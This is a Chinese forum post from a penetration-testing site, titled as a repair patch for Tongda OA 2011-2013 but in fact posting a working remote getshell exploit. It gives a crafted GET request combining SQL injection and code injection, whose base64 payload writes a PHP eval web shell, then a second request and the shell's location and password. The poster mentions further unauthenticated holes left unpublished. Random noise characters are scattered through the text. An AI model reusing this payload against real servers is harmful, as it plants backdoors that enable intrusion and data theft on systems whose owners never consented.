中国网络渗透测试联盟

标题: 通达OA 2011-2013 通杀GETSHELL修复补丁 [打印本页]
作者: admin    时间: 2013-2-4 16:19
标题: 通达OA 2011-2013 通杀GETSHELL修复补丁
此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.
7 Q& [* P7 K5 F7 l! E$ W; t. d! I( O5 B" L. c5 |/ _$ j
9 V, u4 V) _/ T+ y7 K
EXP：
* x) u* O# ^5 i3 h; B7 x0 O+ q 9 ^, j/ T7 f' \
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
* t2 N8 k, |% |# B% p: m
. M3 P, H3 n- y5 f8 f第二步: [GET]http://site/general/email/index.php
2 d- v7 }" P! ^ 2 S( H: `: L' @5 x# B
SHELL: http://site/general/email/shell.php 密码C0 {8 R" L0 _6 a" ]6 o" Y
' `7 z' X) C8 w
$ X) \7 r7 v" d1 ?1 B- P
此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell,  这里就不发了, 危害大了不好
4 Y2 x* k' k9 u5 T$ \; y
9 i" d/ I) r. o) k0 T6 Y5 p6 U有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~- a3 H# h2 C1 M/ m/ \
​1 i( ~  [" X. L0 v2 o, F, _; H

* x! g* f# [8 |' [



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2